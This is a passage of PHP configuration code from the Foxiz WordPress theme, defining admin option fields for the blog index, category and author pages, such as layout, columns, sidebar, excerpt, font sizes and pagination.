=> esc_html__( 'Select a font size (px) for the post title in the mobile device. Leave blank to set it as the default.', 'foxiz' ), 'type' => 'text', 'default' => '' ), array( 'id' => $prefix . 'hide_category', 'type' => 'select', 'title' => esc_html__( 'Responsive - Hide Entry Category', 'foxiz' ), 'subtitle' => esc_html__( 'Hide the entry category on the tablet and mobile devices.', 'foxiz' ), 'options' => array( '0' => esc_html__( '- Default -', 'foxiz' ), 'mobile' => esc_html__( 'On Mobile', 'foxiz' ), 'tablet' => esc_html__( 'On Tablet', 'foxiz' ), 'all' => esc_html__( 'On Tablet & Mobile', 'foxiz' ), '-1' => esc_html__( 'Disable', 'foxiz' ) ), 'default' => '0' ), array( 'id' => $prefix . 'tablet_hide_meta', 'type' => 'text', 'title' => esc_html__( 'Tablet - Hide Entry Meta', 'foxiz' ), 'subtitle' => esc_html__( 'Input entry meta tags to hide on the tablet devices, separate by comma. For example: avatar, author... Keys include: [avatar, author, date, category, tag, view, comment, update, read, custom]. Input -1 to re-enable all tags.', 'foxiz' ), 'placeholder' => esc_html__( 'avatar,author', 'foxiz' ), 'default' => '' ), array( 'id' => $prefix . 'mobile_hide_meta', 'type' => 'text', 'title' => esc_html__( 'Mobile - Hide Entry Meta', 'foxiz' ), 'subtitle' => esc_html__( 'Input entry meta tags to hide on the mobile devices, separate by comma. For example: avatar, author... Keys include: [avatar, author, date, category, tag, view, comment, update, read, custom]. Input -1 to re-enable all tags.', 'foxiz' ), 'placeholder' => esc_html__( 'avatar,author', 'foxiz' ), 'default' => '' ), array( 'id' => $prefix . 'hide_excerpt', 'type' => 'select', 'title' => esc_html__( 'Responsive - Hide Excerpt', 'foxiz' ), 'subtitle' => esc_html__( 'Hide the post excerpt on the tablet and mobile devices.', 'foxiz' ), 'options' => array( '0' => esc_html__( '- Default -', 'foxiz' ), 'mobile' => esc_html__( 'On Mobile', 'foxiz' ), 'tablet' => esc_html__( 'On Tablet', 'foxiz' ), 'all' => esc_html__( 'On Tablet & Mobile', 'foxiz' ), '-1' => esc_html__( 'Disable', 'foxiz' ) ), 'default' => '0', ), array( 'id' => 'section_end_category_design', 'type' => 'section', 'class' => 'ruby-section-end', 'indent' => false ), array( 'id' => 'section_start_category_blog_pagination', 'type' => 'section', 'class' => 'ruby-section-start', 'title' => esc_html__( 'Latest Posts - Pagination', 'foxiz' ), 'subtitle' => esc_html__( 'The settings below will be not available if you use "Global WP Query Template Shortcode" to build the blog listing.', 'foxiz' ), 'indent' => true ), array( 'id' => $prefix . 'pagination', 'title' => esc_html__( 'Pagination Type', 'foxiz' ), 'subtitle' => esc_html__( 'Select pagination type for the category pages.', 'foxiz' ), 'type' => 'select', 'options' => foxiz_config_blog_pagination(), 'default' => 'number' ), array( 'id' => 'section_end_category_blog_pagination', 'type' => 'section', 'class' => 'ruby-section-end no-border', 'indent' => false ), ) ); } } if ( ! function_exists( 'foxiz_register_options_blog_pages' ) ) { /** * @return array */ function foxiz_register_options_blog_pages() { return array( 'title' => esc_html__( 'Blog & Archive', 'foxiz' ), 'id' => 'foxiz_config_section_blog_archives', 'icon' => 'el el-hdd', ); } } if ( ! function_exists( 'foxiz_register_options_blog' ) ) { /** * @return array */ function foxiz_register_options_blog() { $prefix = 'blog_'; return array( 'id' => 'foxiz_config_section_blog', 'title' => esc_html__( 'Blog Index', 'foxiz' ), 'icon' => 'el el-bold', 'desc' => esc_html__( 'The settings below apply the blog page.', 'foxiz' ), 'subsection' => true, 'fields' => array( array( 'id' => 'section_start_blog_header', 'type' => 'section', 'class' => 'ruby-section-start', 'title' => esc_html__( 'Site Header', 'foxiz' ), 'indent' => true ), array( 'id' => $prefix . 'header_style', 'type' => 'select', 'title' => esc_html__( 'Header Style', 'foxiz' ), 'subtitle' => esc_html__( 'Select a website header style for the blog page.', 'foxiz' ), 'options' => foxiz_config_header_style( true, true ), 'default' => '0' ), array( 'id' => $prefix . 'nav_style', 'type' => 'select', 'title' => esc_html__( 'Navigation Bar Style', 'foxiz' ), 'subtitle' => esc_html__( 'Select navigation bar style for the site header in the blog index page.', 'foxiz' ), 'description' => esc_html__( 'This setting will override on the setting in the header panel. It will not apply to the header style 4.', 'foxiz' ), 'options' => array( '0' => esc_html__( 'Default', 'foxiz' ), 'shadow' => esc_html__( 'Shadow', 'foxiz' ), 'border' => esc_html__( 'Bottom Border', 'foxiz' ), 'd-border' => esc_html__( 'Dark Bottom Border', 'foxiz' ), 'none' => esc_html__( 'None', 'foxiz' ) ), 'default' => '0' ), array( 'id' => $prefix . 'header_template', 'type' => 'textarea', 'title' => esc_html__( 'Header Template Shortcode', 'foxiz' ), 'subtitle' => esc_html__( 'Input a Ruby Template shortcode for displaying as the website header for the blog page.', 'foxiz' ), 'description' => esc_html__( 'This setting will override on the "Header Style" setting, Leave it blank if you would like to use the "Header Style" setting.', 'foxiz' ), 'placeholder' => esc_html__( '[Ruby_E_Template id="1"]', 'foxiz' ), 'rows' => 2, 'default' => '' ), array( 'id' => 'section_end_blog_header', 'type' => 'section', 'class' => 'ruby-section-end', 'indent' => false ), array( 'id' => 'section_start_blog_builder', 'type' => 'section', 'class' => 'ruby-section-start', 'title' => esc_html__( 'Top & Bottom Area Template Builder', 'foxiz' ), 'indent' => true ), array( 'id' => $prefix . 'template', 'type' => 'textarea', 'title' => esc_html__( 'Top Area Template Shortcode', 'foxiz' ), 'subtitle' => esc_html__( 'Input a "Ruby Template" shortcode to embed it the top of the blog page, ie: [Ruby_E_Template id="1"]', 'foxiz' ), 'placeholder' => '[Ruby_E_Template id="1"]', 'rows' => 2, 'default' => '' ), array( 'id' => $prefix . 'template_bottom', 'type' => 'textarea', 'title' => esc_html__( 'Bottom Area Template Shortcode', 'foxiz' ), 'subtitle' => esc_html__( 'Input a "Ruby Template" shortcode to embed it the bottom of the blog page, ie: [Ruby_E_Template id="1"]', 'foxiz' ), 'placeholder' => '[Ruby_E_Template id="1"]', 'rows' => 2, 'default' => '' ), array( 'id' => $prefix . 'template_display', 'title' => esc_html__( 'Template Display', 'foxiz' ), 'subtitle' => esc_html__( 'Show template in the first or all pages.', 'foxiz' ), 'type' => 'select', 'options' => array( '1' => esc_html__( 'Show in the first page', 'foxiz' ), '2' => esc_html__( 'Show in all pages', 'foxiz' ) ), 'default' => '1', ), array( 'id' => 'section_end_blog_builder', 'type' => 'section', 'class' => 'ruby-section-end', 'indent' => false ), array( 'id' => 'section_start_blog_template_global', 'type' => 'section', 'class' => 'ruby-section-start', 'title' => esc_html__( 'Global Blog Template Builder', 'foxiz' ), 'indent' => true ), array( 'id' => $prefix . 'template_global', 'type' => 'textarea', 'title' => esc_html__( 'Global WP Query Template Shortcode', 'foxiz' ), 'subtitle' => esc_html__( 'Input a "Ruby Template" shortcode to show it as a the main blog listing.', 'foxiz' ), 'placeholder' => '[Ruby_E_Template id="1"]', 'description' => esc_html__( 'Leave this option blank if you want to use standard blog layout settings.', 'foxiz' ), 'rows' => 2, 'default' => '' ), array( 'id' => 'section_end_global_builder', 'type' => 'section', 'class' => 'ruby-section-end', 'indent' => false ), array( 'id' => 'section_start_blog_posts_per_page', 'type' => 'section', 'class' => 'ruby-section-start', 'title' => esc_html__( 'Posts Per Page', 'foxiz' ), 'indent' => true ), array( 'id' => $prefix . 'posts_per_page', 'title' => esc_html__( 'Posts per Page', 'foxiz' ), 'subtitle' => esc_html__( 'Select posts per page for the blog. Leave this option blank to set the default.', 'foxiz' ), 'description' => esc_html__( 'This setting will override on "Dashboard > Settings > Reading > Blog pages show at most" setting. It also apply to the "Global WP Query Template Shortcode".', 'foxiz' ), 'type' => 'text', 'class' => 'small-text', 'validate' => 'numeric', 'default' => '' ), array( 'id' => 'section_end_blog_posts_per_page', 'type' => 'section', 'class' => 'ruby-section-end', 'indent' => false ), array( 'id' => 'section_start_blog_blog_layout', 'type' => 'section', 'class' => 'ruby-section-start', 'title' => esc_html__( 'Blog Layout', 'foxiz' ), 'subtitle' => esc_html__( 'The settings below will be not available if you use "Global WP Query Template Shortcode" to build the blog listing.', 'foxiz' ), 'indent' => true ), array( 'id' => $prefix . 'layout', 'title' => esc_html__( 'Blog Layout', 'foxiz' ), 'subtitle' => esc_html__( 'Select blog listing layout for the blog.', 'foxiz' ), 'type' => 'image_select', 'options' => foxiz_config_blog_layout(), 'default' => 'classic_1' ), array( 'id' => $prefix . 'columns', 'title' => esc_html__( 'Columns on Desktop', 'foxiz' ), 'subtitle' => esc_html__( 'Select total columns to show per row.', 'foxiz' ), 'type' => 'select', 'options' => foxiz_config_blog_columns(), 'default' => '0' ), array( 'id' => $prefix . 'columns_tablet', 'title' => esc_html__( 'Columns on Tablet', 'foxiz' ), 'subtitle' => esc_html__( 'Select total columns to show per row on the tablet device.', 'foxiz' ), 'type' => 'select', 'options' => foxiz_config_blog_columns(), 'default' => '0' ), array( 'id' => $prefix . 'columns_mobile', 'title' => esc_html__( 'Columns on Mobile', 'foxiz' ), 'subtitle' => esc_html__( 'Select total columns to show per row on the mobile device.', 'foxiz' ), 'type' => 'select', 'options' => foxiz_config_blog_columns( array( '0', '1', '2' ) ), 'default' => '0' ), array( 'id' => $prefix . 'column_gap', 'title' => esc_html__( 'Columns Gap', 'foxiz' ), 'subtitle' => esc_html__( 'Select a spacing between columns.', 'foxiz' ), 'type' => 'select', 'options' => foxiz_config_blog_column_gap(), 'default' => '0' ), array( 'id' => 'section_end_blog_blog_layout', 'type' => 'section', 'class' => 'ruby-section-end', 'indent' => false ), array( 'id' => 'section_start_blog_sidebar', 'type' => 'section', 'class' => 'ruby-section-start', 'title' => esc_html__( 'Blog Sidebar', 'foxiz' ), 'subtitle' => esc_html__( 'The settings below will be not available if you use "Global WP Query Template Shortcode" to build the blog listing.', 'foxiz' ), 'indent' => true ), array( 'id' => $prefix . 'sidebar_position', 'type' => 'image_select', 'title' => esc_html__( 'Sidebar Position', 'foxiz' ), 'subtitle' => esc_html__( 'Select a sidebar position or disable it for the latest blog section', 'foxiz' ), 'options' => foxiz_config_sidebar_position(), 'default' => 'default' ), array( 'id' => $prefix . 'sidebar_name', 'type' => 'select', 'title' => esc_html__( 'Assign a Sidebar', 'foxiz' ), 'subtitle' => esc_html__( 'Assign a widget section for the sidebar for the latest blog section if it is enabled.', 'foxiz' ), 'options' => foxiz_config_sidebar_name( false ), 'default' => 'foxiz_sidebar_default' ), array( 'id' => $prefix . 'sticky_sidebar', 'type' => 'select', 'title' => esc_html__( 'Sticky Sidebar', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable sticky sidebar feature. This setting applies to the blog page.', 'foxiz' ), 'options' => array( '0' => esc_html__( '- Default -', 'foxiz' ), '1' => esc_html__( 'Enable', 'foxiz' ), '-1' => esc_html__( 'Disable', 'foxiz' ), ), 'default' => '0' ), array( 'id' => 'section_end_blog_sidebar', 'type' => 'section', 'class' => 'ruby-section-end', 'indent' => false ), array( 'id' => 'section_start_blog_design', 'type' => 'section', 'class' => 'ruby-section-start', 'title' => esc_html__( 'Blog Design', 'foxiz' ), 'subtitle' => array( esc_html__( 'The settings below will be not available if you use "Global WP Query Template Shortcode" to build the blog listing.', 'foxiz' ), esc_html__( 'The theme will use "Standard Blog Design" settings to render block. You can override settings in the panel below.', 'foxiz' ) ), 'indent' => true ), array( 'id' => $prefix . 'crop_size', 'title' => esc_html__( 'Featured Image Size', 'foxiz' ), 'subtitle' => esc_html__( 'Select a featured image size to optimize with the columns setting.', 'foxiz' ), 'type' => 'select', 'options' => foxiz_config_crop_size(), 'default' => '0' ), array( 'id' => $prefix . 'display_ratio', 'type' => 'text', 'title' => esc_html__( 'Custom Featured Ratio', 'foxiz' ), 'subtitle' => esc_html__( 'Input custom ratio percent (height*100/width) for featured image you would like. For example: 50', 'foxiz' ), 'default' => '' ), array( 'id' => $prefix . 'entry_category', 'title' => esc_html__( 'Entry Category', 'foxiz' ), 'subtitle' => esc_html__( 'Select a layout for the entry category to display in the post listing.', 'foxiz' ), 'description' => esc_html__( 'The setting will not apply if the selected blog layout does not support the selected entry category.', 'foxiz' ), 'type' => 'select', 'options' => foxiz_config_extended_entry_category( true ), 'default' => '0' ), array( 'id' => $prefix . 'entry_meta_bar', 'type' => 'select', 'title' => esc_html__( 'Entry Meta Bar', 'foxiz' ), 'subtitle' => esc_html__( 'Select settings for the entry meta bar.', 'foxiz' ), 'options' => foxiz_config_entry_meta_bar(), 'default' => '0', ), array( 'id' => $prefix . 'entry_meta', 'type' => 'select', 'multi' => true, 'title' => esc_html__( 'Entry Meta Tags', 'foxiz' ), 'required' => array( $prefix . 'entry_meta_bar', '=', 'custom' ), 'subtitle' => esc_html__( 'Organize how you want the entry meta to appear. Leave blank to set it as the default.', 'foxiz' ), 'options' => foxiz_config_entry_meta_tags(), 'default' => array(), ), array( 'id' => $prefix . 'review', 'type' => 'select', 'title' => esc_html__( 'Review Meta', 'foxiz' ), 'subtitle' => esc_html__( 'Disable or select setting for entry review meta.', 'foxiz' ), 'options' => foxiz_config_entry_review( true ), 'default' => '0' ), array( 'id' => $prefix . 'review_meta', 'type' => 'select', 'title' => esc_html__( 'Review Meta Description', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable the meta description at the end of the review bar.', 'foxiz' ), 'options' => foxiz_config_switch_dropdown(), 'default' => '0' ), array( 'id' => $prefix . 'entry_format', 'type' => 'select', 'title' => esc_html__( 'Post Format Icon', 'foxiz' ), 'subtitle' => esc_html__( 'Disable or select setting for the post format.', 'foxiz' ), 'options' => foxiz_config_entry_format( true ), 'default' => '0' ), array( 'id' => $prefix . 'bookmark', 'type' => 'select', 'title' => esc_html__( 'Bookmark Icon', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable the bookmark icon.', 'foxiz' ), 'options' => foxiz_config_switch_dropdown(), 'default' => '0' ), array( 'id' => $prefix . 'excerpt', 'type' => 'select', 'title' => esc_html__( 'Excerpt', 'foxiz' ), 'subtitle' => esc_html__( 'Disable or select settings for the post excerpt.', 'foxiz' ), 'options' => foxiz_config_excerpt_dropdown(), 'default' => '0' ), array( 'id' => $prefix . 'excerpt_length', 'type' => 'text', 'class' => 'small-text', 'validate' => 'numeric', 'title' => esc_html__( 'Excerpt - Max Length', 'foxiz' ), 'required' => array( $prefix . 'excerpt', '=', '1' ), 'subtitle' => esc_html__( 'select max length of the post excerpt.', 'foxiz' ), 'desc' => esc_html__( 'Leave this option blank or set 0 to disable.', 'foxiz' ), 'default' => '0' ), array( 'id' => $prefix . 'excerpt_source', 'title' => esc_html__( 'Excerpt - Source', 'foxiz' ), 'subtitle' => esc_html__( 'Where to get the post excerpt.', 'foxiz' ), 'description' => esc_html__( 'When you select "use title tagline". if it is empty, it will fallback to the post excerpt or content.', 'foxiz' ), 'required' => array( $prefix . 'excerpt', '=', '1' ), 'type' => 'select', 'options' => foxiz_config_excerpt_source(), 'default' => 'tagline' ), array( 'id' => $prefix . 'readmore', 'type' => 'select', 'title' => esc_html__( 'Read More Button', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable the read more button.', 'foxiz' ), 'options' => foxiz_config_switch_dropdown(), 'default' => '0' ), array( 'id' => $prefix . 'title_tag', 'title' => esc_html__( 'Title HTML Tag', 'foxiz' ), 'subtitle' => esc_html__( 'Select a title HTML tag for the post title.', 'foxiz' ), 'type' => 'select', 'options' => foxiz_config_heading_tag(), 'default' => '0' ), array( 'id' => $prefix . 'title_size', 'title' => esc_html__( 'Desktop - Title Font Size', 'foxiz' ), 'subtitle' => esc_html__( 'Select a font size (px) for the post title in the desktop device. Leave blank to set it as the default.', 'foxiz' ), 'type' => 'text', 'default' => '' ), array( 'id' => $prefix . 'title_size_tablet', 'title' => esc_html__( 'Tablet - Title Font Size', 'foxiz' ), 'subtitle' => esc_html__( 'Select a font size (px) for the post title in the table devices. Leave blank to set it as the default.', 'foxiz' ), 'type' => 'text', 'default' => '' ), array( 'id' => $prefix . 'title_size_mobile', 'title' => esc_html__( 'Mobile - Title Font Size', 'foxiz' ), 'subtitle' => esc_html__( 'Select a font size (px) for the post title in the mobile device. Leave blank to set it as the default.', 'foxiz' ), 'type' => 'text', 'default' => '' ), array( 'id' => $prefix . 'hide_category', 'type' => 'select', 'title' => esc_html__( 'Responsive - Hide Entry Category', 'foxiz' ), 'subtitle' => esc_html__( 'Hide the entry category on the tablet and mobile devices.', 'foxiz' ), 'options' => array( '0' => esc_html__( '- Default -', 'foxiz' ), 'mobile' => esc_html__( 'On Mobile', 'foxiz' ), 'tablet' => esc_html__( 'On Tablet', 'foxiz' ), 'all' => esc_html__( 'On Tablet & Mobile', 'foxiz' ), '-1' => esc_html__( 'Disable', 'foxiz' ) ), 'default' => '0' ), array( 'id' => $prefix . 'tablet_hide_meta', 'type' => 'text', 'title' => esc_html__( 'Tablet - Hide Entry Meta', 'foxiz' ), 'subtitle' => esc_html__( 'Input entry meta tags to hide on the tablet devices, separate by comma. For example: avatar, author... Keys include: [avatar, author, date, category, tag, view, comment, update, read, custom]. Input -1 to re-enable all tags.', 'foxiz' ), 'placeholder' => esc_html__( 'avatar,author', 'foxiz' ), 'default' => '' ), array( 'id' => $prefix . 'mobile_hide_meta', 'type' => 'text', 'title' => esc_html__( 'Mobile - Hide Entry Meta', 'foxiz' ), 'subtitle' => esc_html__( 'Input entry meta tags to hide on the mobile devices, separate by comma. For example: avatar, author... Keys include: [avatar, author, date, category, tag, view, comment, update, read, custom]. Input -1 to re-enable all tags.', 'foxiz' ), 'placeholder' => esc_html__( 'avatar,author', 'foxiz' ), 'default' => '' ), array( 'id' => $prefix . 'hide_excerpt', 'type' => 'select', 'title' => esc_html__( 'Responsive - Hide Excerpt', 'foxiz' ), 'subtitle' => esc_html__( 'Hide the post excerpt on the tablet and mobile devices.', 'foxiz' ), 'options' => array( '0' => esc_html__( '- Default -', 'foxiz' ), 'mobile' => esc_html__( 'On Mobile', 'foxiz' ), 'tablet' => esc_html__( 'On Tablet', 'foxiz' ), 'all' => esc_html__( 'On Tablet & Mobile', 'foxiz' ), '-1' => esc_html__( 'Disable', 'foxiz' ) ), 'default' => '0', ), array( 'id' => 'section_end_blog_design', 'type' => 'section', 'class' => 'ruby-section-end', 'indent' => false ), array( 'id' => 'section_start_blog_pagination', 'type' => 'section', 'class' => 'ruby-section-start', 'title' => esc_html__( 'Pagination', 'foxiz' ), 'subtitle' => esc_html__( 'The settings below will be not available if you use "Global WP Query Template Shortcode" to build the blog listing.', 'foxiz' ), 'indent' => true ), array( 'id' => $prefix . 'pagination', 'title' => esc_html__( 'Pagination Type', 'foxiz' ), 'subtitle' => esc_html__( 'Select pagination type for the blog.', 'foxiz' ), 'type' => 'select', 'options' => foxiz_config_blog_pagination(), 'default' => 'number' ), array( 'id' => 'section_end_blog_pagination', 'type' => 'section', 'class' => 'ruby-section-end no-border', 'indent' => false ), ) ); } } if ( ! function_exists( 'foxiz_register_options_author' ) ) { /** * @return array */ function foxiz_register_options_author() { $prefix = 'author_'; return array( 'id' => 'foxiz_config_section_author', 'title' => esc_html__( 'Author', 'foxiz' ), 'icon' => 'el el-user', 'subsection' => true, 'desc' => esc_html__( 'The settings below apply to the author pages.', 'foxiz' ), 'fields' => array( array( 'id' => 'section_start_author_header', 'type' => 'section', 'class' => 'ruby-section-start', 'title' => esc_html__( 'Author Header', 'foxiz' ), 'indent' => true ), array( 'id' => $prefix . 'bio', 'title' => esc_html__( 'Author Bio', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable the author bio in the author pages.', 'foxiz' ), 'type' => 'switch', 'default' => 1 ), array( 'id' => $prefix . 'pattern', 'title' => esc_html__( 'Header Background Style', 'foxiz' ), 'subtitle' => esc_html__( 'Select a background style for the author header.', 'foxiz' ), 'type' => 'select', 'options' => foxiz_config_archive_header_bg(), 'default' => 'dot' ), array( 'id' => 'section_end_author_header', 'type' => 'section', 'class' => 'ruby-section-end', 'indent' => false ), array( 'id' => 'section_start_author_template_global', 'type' => 'section', 'class' => 'ruby-section-start', 'title' => esc_html__( 'Global Blog Template Builder', 'foxiz' ), 'indent' => true ), array( 'id' => $prefix . 'template_global', 'title' => esc_html__( 'Global WP Query Template Shortcode', 'foxiz' ), 'subtitle' => esc_html__( 'Input a "Ruby Template" shortcode to display as the main blog posts, ie: [Ruby_E_Template id="1"].', 'foxiz' ), 'type' => 'textarea', 'rows' => '2', 'placeholder' => '[Ruby_E_Template id="1"]', 'default' => '', ), array( 'id' => 'section_end_author_template_global', 'type' => 'section', 'class' => 'ruby-section-end', 'indent' => false ), array( 'id' => 'section_start_author_posts_per_page', 'type' => 'section', 'class' => 'ruby-section-start', 'title' => esc_html__( 'Posts per Page', 'foxiz' ), 'indent' => true ), array( 'id' => $prefix . 'posts_per_page', 'title' => esc_html__( 'Posts per Page', 'foxiz' ), 'subtitle' => esc_html__( 'Select posts per page for the authors. Leave this option blank to set the default.', 'foxiz' ), 'description' => esc_html__( 'This setting will override on "Dashboard > Settings > Reading > Blog pages show at most" setting. It also apply to the "Global WP Query Template Shortcode".', 'foxiz' ), 'type' => 'text', 'validate' => 'numeric', 'default' => '' ), array( 'id' => 'section_end_author_posts_per_page', 'type' => 'section', 'class' => 'ruby-section-end', 'indent' => false ), array( 'id' => 'section_start_author_layout', 'type' => 'section', 'class' => 'ruby-section-start', 'title' => esc_html__( 'Blog Layout', 'foxiz' ), 'subtitle' => esc_html__( 'The settings below will be not available if you use "Global WP Query Template Shortcode" to build the blog listing.', 'foxiz' ), 'indent' => true ), array( 'id' => $prefix . 'layout', 'title' => esc_html__( 'Blog Layout', 'foxiz' ), 'subtitle' => esc_html__( 'Select blog listing layout for the author pages.', 'foxiz' ), 'type' => 'image_select', 'options' => foxiz_config_blog_layout(), 'default' => 'grid_1' ), array( 'id' => $prefix . 'columns', 'title' => esc_html__( 'Columns per Row', 'foxiz' ), 'subtitle' => esc_html__( 'Select total columns to show per row.', 'foxiz' ), 'type' => 'select', 'options' => foxiz_config_blog_columns(), 'default' => '0' ), array( 'id' => $prefix . 'columns_tablet', 'title' => esc_html__( 'Columns on Tablet', 'foxiz' ), 'subtitle' => esc_html__( 'Select total columns to show per row on the tablet device.', 'foxiz' ), 'type' => 'select', 'options' => foxiz_config_blog_columns(), 'default' => '0' ), array( 'id' => $prefix . 'columns_mobile', 'title' => esc_html__( 'Columns on Mobile', 'foxiz' ), 'subtitle' => esc_html__( 'Select total columns to show per row on the mobile device.', 'foxiz' ), 'type' => 'select', 'options' => foxiz_config_blog_columns( array( '0', '1', '2' ) ), 'default' => '0' ), array( 'id' => $prefix . 'column_gap', 'title' => esc_html__( 'Columns Gap', 'foxiz' ), 'subtitle' => esc_html__( 'Select a spacing between columns.', 'foxiz' ), 'type' => 'select', 'options' => foxiz_config_blog_column_gap(), 'default' => '0' ), array( 'id' => 'section_end_author_layout', 'type' => 'section', 'class' => 'ruby-section-end', 'indent' => false ), array( 'id' => 'section_start_author_sidebar', 'type' => 'section', 'class' => 'ruby-section-start', 'title' => esc_html__( 'Blog Sidebar', 'foxiz' ), 'subtitle' => esc_html__( 'The settings below will be not available if you use "Global WP Query Template Shortcode" to build the blog listing.', 'foxiz' ), 'indent' => true ), array( 'id' => $prefix . 'sidebar_position', 'type' => 'image_select', 'title' => esc_html__( 'Sidebar Position', 'foxiz' ), 'subtitle' => esc_html__( 'Select a sidebar position or disable it for the latest blog section', 'foxiz' ), 'options' => foxiz_config_sidebar_position(), 'default' => 'none' ), array( 'id' => $prefix . 'sidebar_name', 'type' => 'select', 'title' => esc_html__( 'Assign a Sidebar', 'foxiz' ), 'subtitle' => esc_html__( 'Assign a widget section for the sidebar for the latest blog section if it is enabled.', 'foxiz' ), 'options' => foxiz_config_sidebar_name( false ), 'default' => 'foxiz_sidebar_default' ), array( 'id' => $prefix . 'sticky_sidebar', 'type' => 'select', 'title' => esc_html__( 'Sticky Sidebar', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable sticky sidebar feature. This setting applies to the author pages.', 'foxiz' ), 'options' => array( '0' => esc_html__( 'Use Global Setting', 'foxiz' ), '1' => esc_html__( 'Enable', 'foxiz' ), '-1' => esc_html__( 'Disable', 'foxiz' ), ), 'default' => '0' ), array( 'id' => 'section_end_author_sidebar', 'type' => 'section', 'class' => 'ruby-section-end', 'indent' => false ), array( 'id' => 'section_start_author_design', 'type' => 'section', 'class' => 'ruby-section-start', 'title' => esc_html__( 'Blog Design', 'foxiz' ), 'subtitle' => array( esc_html__( 'The settings below will be not available if you use "Global WP Query Template Shortcode" to build the blog listing.', 'foxiz' ), esc_html__( 'The theme will use "Standard Blog Design" settings to render block. You can override settings in the panel below.', 'foxiz' ) ), 'indent' => true ), array( 'id' => $prefix . 'crop_size', 'title' => esc_html__( 'Featured Image Size', 'foxiz' ), 'subtitle' => esc_html__( 'Select a featured image size to optimize with the columns setting.', 'foxiz' ), 'type' => 'select', 'options' => foxiz_config_crop_size(), 'default' => '0' ), array( 'id' => $prefix . 'display_ratio', 'type' => 'text', 'title' => esc_html__( 'Custom Featured Ratio', 'foxiz' ), 'subtitle' => esc_html__( 'Input custom ratio percent (height*100/width) for featured image you would like. For example: 50', 'foxiz' ), 'default' => '' ), array( 'id' => $prefix . 'entry_category', 'title' => esc_html__( 'Entry Category', 'foxiz' ), 'subtitle' => esc_html__( 'Select a layout for the entry category to display in the post listing.', 'foxiz' ), 'description' => esc_html__( 'The setting will not apply if the selected blog layout does not support the selected entry category.', 'foxiz' ), 'type' => 'select', 'options' => foxiz_config_extended_entry_category( true ), 'default' => '0' ), array( 'id' => $prefix . 'entry_meta_bar', 'type' => 'select', 'title' => esc_html__( 'Entry Meta Bar', 'foxiz' ), 'subtitle' => esc_html__( 'Select settings for the entry meta bar.', 'foxiz' ), 'options' => foxiz_config_entry_meta_bar(), 'default' => '0', ), array( 'id' => $prefix . 'entry_meta', 'type' => 'select', 'multi' => true, 'title' => esc_html__( 'Entry Meta Tags', 'foxiz' ), 'required' => array( $prefix . 'entry_meta_bar', '=', 'custom' ), 'subtitle' => esc_html__( 'Organize how you want the entry meta to appear. Leave blank to set it as the default.', 'foxiz' ), 'options' => foxiz_config_entry_meta_tags(), 'default' => array(), ), array( 'id' => $prefix . 'review', 'type' => 'select', 'title' => esc_html__( 'Review Meta', 'foxiz' ), 'subtitle' => esc_html__( 'Disable or select setting for entry review meta.', 'foxiz' ), 'options' => foxiz_config_entry_review( true ), 'default' => '0' ), array( 'id' => $prefix . 'review_meta', 'type' => 'select', 'title' => esc_html__( 'Review Meta Description', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable the meta description at the end of the review bar.', 'foxiz' ), 'options' => foxiz_config_switch_dropdown(), 'default' => '0' ), array( 'id' => $prefix . 'entry_format', 'type' => 'select', 'title' => esc_html__( 'Post Format Icon', 'foxiz' ), 'subtitle' => esc_html__( 'Disable or select setting for the post format.', 'foxiz' ), 'options' => foxiz_config_entry_format( true ), 'default' => '0' ), array( 'id' => $prefix . 'bookmark', 'type' => 'select', 'title' => esc_html__( 'Bookmark Icon', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable the bookmark icon.', 'foxiz' ), 'options' => foxiz_config_switch_dropdown(), 'default' => '0' ), array( 'id' => $prefix . 'excerpt', 'type' => 'select', 'title' => esc_html__( 'Excerpt', 'foxiz' ), 'subtitle' => esc_html__( 'Disable or select settings for the post excerpt.', 'foxiz' ), 'options' => foxiz_config_excerpt_dropdown(), 'default' => '0' ), array( 'id' => $prefix . 'excerpt_length', 'type' => 'text', 'class' => 'small-text', 'validate' => 'numeric', 'title' => esc_html__( 'Excerpt - Max Length', 'foxiz' ), 'required' => array( $prefix . 'excerpt', '=', '1' ), 'subtitle' => esc_html__( 'select max length of the post excerpt.', 'foxiz' ), 'desc' => esc_html__( 'Leave this option blank or set 0 to disable.', 'foxiz' ), 'default' => '0' ), array( 'id' => $prefix . 'excerpt_source', 'title' => esc_html__( 'Excerpt - Source', 'foxiz' ), 'subtitle' => esc_html__( 'Where to get the post excerpt.', 'foxiz' ), 'description' => esc_html__( 'When you select "use title tagline". if it is empty, it will fallback to the post excerpt or content.', 'foxiz' ), 'required' => array( $prefix . 'excerpt', '=', '1' ), 'type' => 'select', 'options' => foxiz_config_excerpt_source(), 'default' => 'tagline' ), array( 'id' => $prefix . 'readmore', 'type' => 'select', 'title' => esc_html__( 'Read More Button', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable the read more button.', 'foxiz' ), 'options' => foxiz_config_switch_dropdown(), 'default' => '0' ), array( 'id' => $prefix . 'title_tag', 'title' => esc_html__( 'Title HTML Tag', 'foxiz' ), 'subtitle' => esc_html__( 'Select a title HTML tag for the post title.', 'foxiz' ), 'type' => 'select', 'options' => foxiz_config_heading_tag(), 'default' => '0' ), array( 'id' => $prefix . 'title_size', 'title' => esc_html__( 'Desktop - Title Font Size', 'foxiz' ), 'subtitle' => esc_html__( 'Select a font size (px) for the post title in the desktop device. Leave blank to set it as the default.', 'foxiz' ), 'type' => 'text', 'default' => '' ), array( 'id' => $prefix . 'title_size_tablet', 'title' => esc_html__( 'Tablet - Title Font Size', 'foxiz' ), 'subtitle' => esc_html__( 'Select a font size (px) for the post title in the table devices. Leave blank to set it as the default.', 'foxiz' ), 'type' => 'text', 'default' => '' ), array( 'id' => $prefix . 'title_size_mobile', 'title' => esc_html__( 'Mobile - Title Font Size', 'foxiz' ), 'subtitle' => esc_html__( 'Select a font size (px) for the post title in the mobile device. Leave blank to set it as the default.', 'foxiz' ), 'type' => 'text', 'default' => '' ), array( 'id' => $prefix . 'hide_category', 'type' => 'select', 'title' => esc_html__( 'Responsive - Hide Entry Category', 'foxiz' ), 'subtitle' => esc_html__( 'Hide the entry category on the tablet and mobile devices.', 'foxiz' ), 'options' => array( '0' => esc_html__( '- Default -', 